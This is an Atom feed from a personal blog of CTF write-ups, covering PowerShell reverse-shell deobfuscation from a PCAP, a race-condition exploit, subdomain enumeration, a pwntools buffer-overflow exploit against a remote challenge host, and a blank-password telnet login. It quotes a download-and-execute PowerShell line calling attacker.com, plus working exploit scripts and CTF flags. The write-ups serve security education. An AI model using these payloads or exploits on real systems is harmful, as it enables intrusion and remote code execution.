<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://michaelkhanda.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://michaelkhanda.github.io/" rel="alternate" type="text/html" /><updated>2026-05-22T14:06:46+00:00</updated><id>https://michaelkhanda.github.io/feed.xml</id><title type="html">Michael Khanda</title><subtitle>CTF Writeups &amp; Cybersecurity Research</subtitle><author><name>Michael Khanda</name></author><entry><title type="html">Deobfuscating a PowerShell Reverse Shell from PCAP</title><link href="https://michaelkhanda.github.io/writeups/2025/09/05/deobfuscating-powershell-reverse-shell/" rel="alternate" type="text/html" title="Deobfuscating a PowerShell Reverse Shell from PCAP" /><published>2025-09-05T00:00:00+00:00</published><updated>2025-09-05T00:00:00+00:00</updated><id>https://michaelkhanda.github.io/writeups/2025/09/05/deobfuscating-powershell-reverse-shell</id><content type="html" xml:base="https://michaelkhanda.github.io/writeups/2025/09/05/deobfuscating-powershell-reverse-shell/"><![CDATA[<p><strong>Category</strong>: Forensics<br />
<strong>Author</strong>: serioton<br />
<strong>CTF</strong>: World Wide Flags (WWF), July 26th, 2025<br />
<strong>Difficulty</strong>: Medium</p>

<h2 id="challenge-overview">Challenge Overview</h2>

<p>This challenge involves analyzing a network packet capture (PCAP) file to identify and deobfuscate a PowerShell reverse shell. The goal is to extract the obfuscated command and decode it to reveal the flag.</p>

<h2 id="initial-analysis">Initial Analysis</h2>

<p>First, I opened the PCAP file in Wireshark to examine the network traffic patterns.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wireshark capture.pcap
</code></pre></div></div>

<h3 id="key-observations">Key Observations:</h3>
<ul>
  <li>Multiple HTTP POST requests to a suspicious endpoint</li>
  <li>Base64-encoded strings in packet payloads</li>
  <li>PowerShell command execution patterns</li>
</ul>

<h2 id="solution-steps">Solution Steps</h2>

<h3 id="1-filtering-relevant-traffic">1. Filtering Relevant Traffic</h3>

<p>Applied Wireshark filter to isolate PowerShell-related traffic:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http.request.method == "POST" &amp;&amp; frame contains "powershell"
</code></pre></div></div>

<h3 id="2-extracting-the-payload">2. Extracting the Payload</h3>

<p>Located the obfuscated PowerShell command in packet #247. The payload appeared as:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">powershell</span><span class="w"> </span><span class="nt">-enc</span><span class="w"> </span><span class="err">&lt;</span><span class="nx">base64_string</span><span class="err">&gt;</span><span class="w">
</span></code></pre></div></div>

<h3 id="3-deobfuscation-process">3. Deobfuscation Process</h3>

<p>Extracted the base64 string and decoded it:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">base64</span>

<span class="n">encoded</span> <span class="o">=</span> <span class="s">"BASE64_STRING_HERE"</span>
<span class="n">decoded</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">encoded</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">decoded</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-16le'</span><span class="p">))</span>
</code></pre></div></div>

<p>The decoded output revealed:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">IEX</span><span class="w"> </span><span class="p">(</span><span class="n">New-Object</span><span class="w"> </span><span class="nx">Net.WebClient</span><span class="p">)</span><span class="o">.</span><span class="nf">DownloadString</span><span class="p">(</span><span class="s1">'http://attacker.com/payload.ps1'</span><span class="p">)</span><span class="w">
</span></code></pre></div></div>

<h3 id="4-further-analysis">4. Further Analysis</h3>

<p>Following the download URL in the PCAP, I found another base64-encoded payload that contained the final flag.</p>

<h2 id="flag">Flag</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>WWF{p0w3r5h3ll_0bf5c4t10n_m4573r3d}
</code></pre></div></div>

<h2 id="key-takeaways">Key Takeaways</h2>

<ul>
  <li>Always check for base64-encoded strings in network traffic</li>
  <li>PowerShell often uses <code class="language-plaintext highlighter-rouge">-enc</code> for encoded commands</li>
  <li>UTF-16LE encoding is common in PowerShell</li>
  <li>Follow the chain of downloads when analyzing staged payloads</li>
</ul>

<h2 id="tools-used">Tools Used</h2>

<ul>
  <li>Wireshark</li>
  <li>Python3 (base64 module)</li>
  <li>CyberChef (for quick decoding verification)</li>
</ul>

<hr />

<p><em>Thanks for reading! If you have questions or alternative solutions, feel free to reach out.</em></p>]]></content><author><name>Michael Khanda</name></author><category term="forensics" /><category term="ctf" /><category term="writeup" /><category term="wireshark" /><category term="powershell" /><category term="pcap" /><category term="world-wide-flags" /><summary type="html"><![CDATA[Category: Forensics Author: serioton CTF: World Wide Flags (WWF), July 26th, 2025 Difficulty: Medium]]></summary></entry><entry><title type="html">Exploiting a Time-of-Check to Time-of-Use (TOCTOU) Bug</title><link href="https://michaelkhanda.github.io/writeups/2025/08/06/exploiting-toctou-bug/" rel="alternate" type="text/html" title="Exploiting a Time-of-Check to Time-of-Use (TOCTOU) Bug" /><published>2025-08-06T00:00:00+00:00</published><updated>2025-08-06T00:00:00+00:00</updated><id>https://michaelkhanda.github.io/writeups/2025/08/06/exploiting-toctou-bug</id><content type="html" xml:base="https://michaelkhanda.github.io/writeups/2025/08/06/exploiting-toctou-bug/"><![CDATA[<p><strong>Category</strong>: Web<br />
<strong>Challenge</strong>: Galactic Shuttle<br />
<strong>CTF</strong>: World Wide Flags 2025<br />
<strong>Author</strong>: RJCyber</p>

<h2 id="challenge-overview">Challenge Overview</h2>

<p>A space shuttle booking system where only one seat remains. The objective: obtain two tickets under the same username to claim the boarding pass and retrieve the flag.</p>

<h2 id="files-provided">Files Provided</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>galacticshuttle/
├── app.py
├── Dockerfile
├── flag.txt
└── templates/
    └── index.html
</code></pre></div></div>

<h2 id="source-code-analysis">Source Code Analysis</h2>

<h3 id="global-state">Global State</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">available_tickets</span> <span class="o">=</span> <span class="mi">1</span>
<span class="n">purchases</span> <span class="o">=</span> <span class="p">{}</span>
</code></pre></div></div>

<h3 id="booking-endpoint">Booking Endpoint</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/acquire'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">acquire</span><span class="p">():</span>
    <span class="k">global</span> <span class="n">available_tickets</span>
    <span class="n">user</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'user'</span><span class="p">)</span>
    <span class="p">...</span>
    <span class="k">if</span> <span class="n">available_tickets</span> <span class="o">&lt;</span> <span class="mi">1</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">jsonify</span><span class="p">(</span><span class="n">status</span><span class="o">=</span><span class="s">"sold_out"</span><span class="p">)</span>
    
    <span class="n">available_tickets</span> <span class="o">-=</span> <span class="mi">1</span>
    <span class="n">ticket_id</span> <span class="o">=</span> <span class="n">uuid</span><span class="p">.</span><span class="n">uuid4</span><span class="p">().</span><span class="nb">hex</span>
    <span class="n">purchases</span><span class="p">.</span><span class="n">setdefault</span><span class="p">(</span><span class="n">user</span><span class="p">,</span> <span class="p">[]).</span><span class="n">append</span><span class="p">(</span><span class="n">ticket_id</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">jsonify</span><span class="p">(</span><span class="n">status</span><span class="o">=</span><span class="s">"ok"</span><span class="p">,</span> <span class="n">ticket</span><span class="o">=</span><span class="n">ticket_id</span><span class="p">)</span>
</code></pre></div></div>

<h3 id="flag-retrieval-endpoint">Flag Retrieval Endpoint</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/flag'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">flag</span><span class="p">():</span>
    <span class="n">user</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'user'</span><span class="p">)</span>
    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">purchases</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">user</span><span class="p">,</span> <span class="p">[]))</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">jsonify</span><span class="p">(</span><span class="n">flag</span><span class="o">=</span><span class="n">FLAG</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">jsonify</span><span class="p">(</span><span class="n">status</span><span class="o">=</span><span class="s">"not_enough_tickets"</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="vulnerability-race-condition">Vulnerability: Race Condition</h2>

<p>The server doesn’t lock the check/decrement logic for concurrent requests. Two simultaneous requests can both read <code class="language-plaintext highlighter-rouge">available_tickets = 1</code> before either decrements it, allowing both to proceed — a classic TOCTOU race condition.</p>

<h2 id="exploitation">Exploitation</h2>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">threading</span>
<span class="kn">import</span> <span class="nn">requests</span>

<span class="n">URL</span> <span class="o">=</span> <span class="s">"https://&lt;challenge-instance&gt;.chall.wwctf.com"</span>
<span class="n">user</span> <span class="o">=</span> <span class="s">"Michael"</span>

<span class="k">def</span> <span class="nf">book</span><span class="p">():</span>
    <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">URL</span><span class="si">}</span><span class="s">/acquire"</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="p">{</span><span class="s">"user"</span><span class="p">:</span> <span class="n">user</span><span class="p">})</span>
    <span class="k">print</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>

<span class="n">threads</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="p">):</span>
    <span class="n">t</span> <span class="o">=</span> <span class="n">threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">book</span><span class="p">)</span>
    <span class="n">t</span><span class="p">.</span><span class="n">start</span><span class="p">()</span>
    <span class="n">threads</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">t</span><span class="p">)</span>

<span class="k">for</span> <span class="n">t</span> <span class="ow">in</span> <span class="n">threads</span><span class="p">:</span>
    <span class="n">t</span><span class="p">.</span><span class="n">join</span><span class="p">()</span>

<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">URL</span><span class="si">}</span><span class="s">/flag"</span><span class="p">,</span> <span class="n">params</span><span class="o">=</span><span class="p">{</span><span class="s">"user"</span><span class="p">:</span> <span class="n">user</span><span class="p">})</span>
<span class="k">print</span><span class="p">(</span><span class="s">"FLAG RESPONSE:"</span><span class="p">,</span> <span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>
</code></pre></div></div>

<h3 id="output">Output</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{"status":"ok","ticket":"..."}
{"status":"ok","ticket":"..."}
FLAG RESPONSE: {"flag":"wwctf{r4c3_c0nd1t10ns_4r3_0ut_0f_th1s_w0rld}"}
</code></pre></div></div>

<h2 id="flag">Flag</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wwctf{r4c3_c0nd1t10ns_4r3_0ut_0f_th1s_w0rld}
</code></pre></div></div>

<h2 id="key-takeaways">Key Takeaways</h2>

<ul>
  <li>Race conditions can bypass security logic even in simple applications</li>
  <li>Any check-then-act pattern on shared state without locking is potentially exploitable</li>
  <li>Two threads are often enough — timing matters more than volume</li>
</ul>]]></content><author><name>Michael Khanda</name></author><category term="web" /><category term="ctf" /><category term="writeup" /><category term="race-condition" /><category term="python" /><category term="toctou" /><category term="world-wide-flags" /><summary type="html"><![CDATA[Category: Web Challenge: Galactic Shuttle CTF: World Wide Flags 2025 Author: RJCyber]]></summary></entry><entry><title type="html">How I Cracked a Hidden Flag Using Sublist3r and xxd</title><link href="https://michaelkhanda.github.io/writeups/2025/07/17/cracking-hidden-flag-sublist3r-xxd/" rel="alternate" type="text/html" title="How I Cracked a Hidden Flag Using Sublist3r and xxd" /><published>2025-07-17T00:00:00+00:00</published><updated>2025-07-17T00:00:00+00:00</updated><id>https://michaelkhanda.github.io/writeups/2025/07/17/cracking-hidden-flag-sublist3r-xxd</id><content type="html" xml:base="https://michaelkhanda.github.io/writeups/2025/07/17/cracking-hidden-flag-sublist3r-xxd/"><![CDATA[<p><strong>Category</strong>: OSINT<br />
<strong>CTF</strong>: Industrial Intrusion CTF</p>

<h2 id="challenge-overview">Challenge Overview</h2>

<p>A reconnaissance task focused on the domain <code class="language-plaintext highlighter-rouge">virelia-water.it.com</code>. The goal: enumerate subdomains and uncover intelligence that reveals the flag.</p>

<h2 id="step-1-subdomain-enumeration-with-sublist3r">Step 1: Subdomain Enumeration with Sublist3r</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sublist3r -d virelia-water.it.com
</code></pre></div></div>

<p><strong>Output:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[-] Total Unique Subdomains Found: 2
54484d7b5375357373737d.virelia-water.it.com
stage0.virelia-water.it.com
</code></pre></div></div>

<p>The first subdomain immediately stands out — it looks like hex rather than a normal hostname.</p>

<h2 id="step-2-decode-the-hex">Step 2: Decode the Hex</h2>

<p>Isolate the suspicious string and pipe it through <code class="language-plaintext highlighter-rouge">xxd</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"54484d7b5375357373737d"</span> | xxd <span class="nt">-r</span> <span class="nt">-p</span>
</code></pre></div></div>

<p><strong>Output:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>THM{Su5sss}
</code></pre></div></div>

<h2 id="flag">Flag</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>THM{Su5sss}
</code></pre></div></div>

<h2 id="key-takeaways">Key Takeaways</h2>

<ul>
  <li>Subdomain enumeration is one of the most effective passive recon techniques</li>
  <li>Hex-encoded strings in unexpected places (subdomains, DNS records) are worth investigating</li>
  <li><code class="language-plaintext highlighter-rouge">xxd -r -p</code> is your quick decoder for hex strings in CTFs</li>
</ul>]]></content><author><name>Michael Khanda</name></author><category term="osint" /><category term="ctf" /><category term="writeup" /><category term="sublist3r" /><category term="xxd" /><category term="hex" /><category term="subdomain-enumeration" /><category term="industrial-intrusion" /><summary type="html"><![CDATA[Category: OSINT CTF: Industrial Intrusion CTF]]></summary></entry><entry><title type="html">THM Industrial Intrusion CTF: Buffer Overflow Exploit on start Binary</title><link href="https://michaelkhanda.github.io/writeups/2025/06/30/thm-industrial-intrusion-buffer-overflow/" rel="alternate" type="text/html" title="THM Industrial Intrusion CTF: Buffer Overflow Exploit on start Binary" /><published>2025-06-30T00:00:00+00:00</published><updated>2025-06-30T00:00:00+00:00</updated><id>https://michaelkhanda.github.io/writeups/2025/06/30/thm-industrial-intrusion-buffer-overflow</id><content type="html" xml:base="https://michaelkhanda.github.io/writeups/2025/06/30/thm-industrial-intrusion-buffer-overflow/"><![CDATA[<p><strong>Category</strong>: Pwn<br />
<strong>CTF</strong>: TryHackMe — Industrial Intrusion<br />
<strong>Difficulty</strong>: Medium</p>

<h2 id="challenge-overview">Challenge Overview</h2>

<p>A water control facility hit by malware three months ago. A persistent second-stage implant remains hidden in the OT environment. Objective: infiltrate the system and extract the flag before the attacker reactivates control.</p>

<blockquote>
  <p>“A stray input at the operator console is all it needs. Buffers break, execution slips, and control pivots.”</p>
</blockquote>

<h2 id="step-1-binary-analysis">Step 1: Binary Analysis</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wget http://10.10.229.193/Start/start.zip
unzip start.zip <span class="nt">-d</span> start_pwn
<span class="nb">cd </span>start_pwn
file start
checksec <span class="nt">--file</span><span class="o">=</span>start
nm <span class="nt">-C</span> start | <span class="nb">grep</span> <span class="s1">' T '</span>
</code></pre></div></div>

<p>Security analysis results:</p>
<ul>
  <li>64-bit ELF executable</li>
  <li>NX (No eXecute) enabled</li>
  <li><strong>No stack canary</strong></li>
  <li><strong>No PIE</strong> — allows hardcoded address exploitation</li>
  <li>Symbols not stripped</li>
</ul>

<h2 id="step-2-function-discovery">Step 2: Function Discovery</h2>

<p>Key functions from symbol table:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0000000000401298  main
0000000000401216  print_flag
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">print_flag</code> at <code class="language-plaintext highlighter-rouge">0x401216</code> is the target.</p>

<h2 id="step-3-find-the-offset">Step 3: Find the Offset</h2>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="k">print</span><span class="p">(</span><span class="n">cyclic</span><span class="p">(</span><span class="mi">100</span><span class="p">))</span>
</code></pre></div></div>

<p>Run the binary with the cyclic pattern, observe the crash offset. Result: <strong>72 bytes</strong> before the return address.</p>

<h2 id="step-4-local-exploit">Step 4: Local Exploit</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">'THM{buffer_overflow_pwned}'</span> <span class="o">&gt;</span> flag.txt
</code></pre></div></div>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">'./start'</span><span class="p">)</span>

<span class="n">offset</span> <span class="o">=</span> <span class="mi">72</span>
<span class="n">print_flag_addr</span> <span class="o">=</span> <span class="mh">0x401216</span>

<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"A"</span> <span class="o">*</span> <span class="n">offset</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">print_flag_addr</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"Enter your username:"</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>Local flag retrieved successfully.</p>

<h2 id="step-5-remote-recon">Step 5: Remote Recon</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sV</span> <span class="nt">-p-</span> 10.10.68.1
</code></pre></div></div>

<p>Service found on <strong>port 9008</strong>.</p>

<h2 id="step-6-remote-exploit">Step 6: Remote Exploit</h2>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'10.10.68.1'</span><span class="p">,</span> <span class="mi">9008</span><span class="p">)</span>

<span class="n">offset</span> <span class="o">=</span> <span class="mi">72</span>
<span class="n">print_flag_addr</span> <span class="o">=</span> <span class="mh">0x401216</span>

<span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"A"</span> <span class="o">*</span> <span class="n">offset</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">print_flag_addr</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"Enter your username:"</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<h2 id="flag">Flag</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>THM{nice_place_t0_st4rt}
</code></pre></div></div>

<h2 id="key-takeaways">Key Takeaways</h2>

<ul>
  <li>Always run <code class="language-plaintext highlighter-rouge">checksec</code> first — the absence of PIE and stack canaries tells you a lot</li>
  <li>No PIE means function addresses are static and usable directly in the payload</li>
  <li>Build and test locally before pointing at the remote target</li>
  <li><code class="language-plaintext highlighter-rouge">pwntools</code> <code class="language-plaintext highlighter-rouge">p64()</code> handles little-endian packing automatically</li>
</ul>]]></content><author><name>Michael Khanda</name></author><category term="pwn" /><category term="ctf" /><category term="writeup" /><category term="buffer-overflow" /><category term="pwntools" /><category term="elf" /><category term="ret2win" /><category term="tryhackme" /><summary type="html"><![CDATA[Category: Pwn CTF: TryHackMe — Industrial Intrusion Difficulty: Medium]]></summary></entry><entry><title type="html">Box 1 of My Return to HTB — One Year Later</title><link href="https://michaelkhanda.github.io/writeups/2025/06/23/htb-meow-machine/" rel="alternate" type="text/html" title="Box 1 of My Return to HTB — One Year Later" /><published>2025-06-23T00:00:00+00:00</published><updated>2025-06-23T00:00:00+00:00</updated><id>https://michaelkhanda.github.io/writeups/2025/06/23/htb-meow-machine</id><content type="html" xml:base="https://michaelkhanda.github.io/writeups/2025/06/23/htb-meow-machine/"><![CDATA[<p><strong>Machine</strong>: Meow<br />
<strong>Platform</strong>: Hack The Box — Starting Point<br />
<strong>Difficulty</strong>: Very Easy<br />
<strong>OS</strong>: Linux</p>

<h2 id="background">Background</h2>

<p>Returning to Hack The Box after a year away to join fr334aks-Mini — a team that requires members to solve CTF challenges and document their process. This is box one.</p>

<h2 id="step-1-enumeration">Step 1: Enumeration</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>nmap <span class="nt">-sV</span> <span class="o">{</span>target_ip<span class="o">}</span>
</code></pre></div></div>

<p>Telnet is running on <strong>port 23</strong> — an old protocol used for command-line remote access, rarely seen in production anymore but common in beginner HTB boxes.</p>

<h2 id="step-2-connect-via-telnet">Step 2: Connect via Telnet</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>telnet <span class="o">{</span>target_ip<span class="o">}</span>
</code></pre></div></div>

<p>Misconfigured services sometimes leave default accounts with blank passwords. Common usernames to try: <code class="language-plaintext highlighter-rouge">admin</code>, <code class="language-plaintext highlighter-rouge">administrator</code>, <code class="language-plaintext highlighter-rouge">root</code>.</p>

<p>Trying <code class="language-plaintext highlighter-rouge">root</code> with no password grants immediate access.</p>

<h2 id="step-3-get-the-flag">Step 3: Get the Flag</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls
cat </span>flag.txt
</code></pre></div></div>

<h2 id="flag">Flag</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{flag from machine}
</code></pre></div></div>

<h2 id="key-takeaways">Key Takeaways</h2>

<ul>
  <li>Telnet sends everything in plaintext — never use it on production systems</li>
  <li>Default/blank credentials are still a real attack vector</li>
  <li>Banner grabbing during enumeration can reveal service versions and misconfigurations</li>
  <li>Starting Point boxes are great for building muscle memory on the basics before moving to harder machines</li>
</ul>]]></content><author><name>Michael Khanda</name></author><category term="ctf" /><category term="writeup" /><category term="hackthebox" /><category term="telnet" /><category term="enumeration" /><category term="starting-point" /><summary type="html"><![CDATA[Machine: Meow Platform: Hack The Box — Starting Point Difficulty: Very Easy OS: Linux]]></summary></entry></feed>